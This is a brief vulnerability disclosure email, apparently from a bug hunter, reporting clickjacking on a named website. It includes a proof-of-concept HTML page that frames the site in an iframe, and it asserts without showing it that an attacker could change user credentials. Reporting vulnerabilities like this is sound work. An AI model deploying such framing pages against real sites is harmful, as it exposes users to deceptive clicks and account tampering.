Regarding vulnerability in your website.

[ghost]

Hi Team,
Found that your website is vulnerable from clickjacking vulnerability.
By using this vulnerability an attacker can change the credentials of the user/victim.

Clickjacking Vulnerability :

Reference : https://www.owasp.org/index.php/Clickjacking

POC :

<title> Clickjacking testing </title> <style> frame { opacity: 0.5; border: none; position: absolute; top: 0px; left: 0px; z-index: 1000; } </style> <script> window.onbeforeunload = function() { return " Do you want to leave ?"; } </script>

Clickjacking Found by Shivam Kumar Agarwal !

<iframe id="frame" width="100%" height="100%" src="https://www.bento.io"></iframe>

See the attachments for this bug.

Regards
Shivam Kumar Agarwal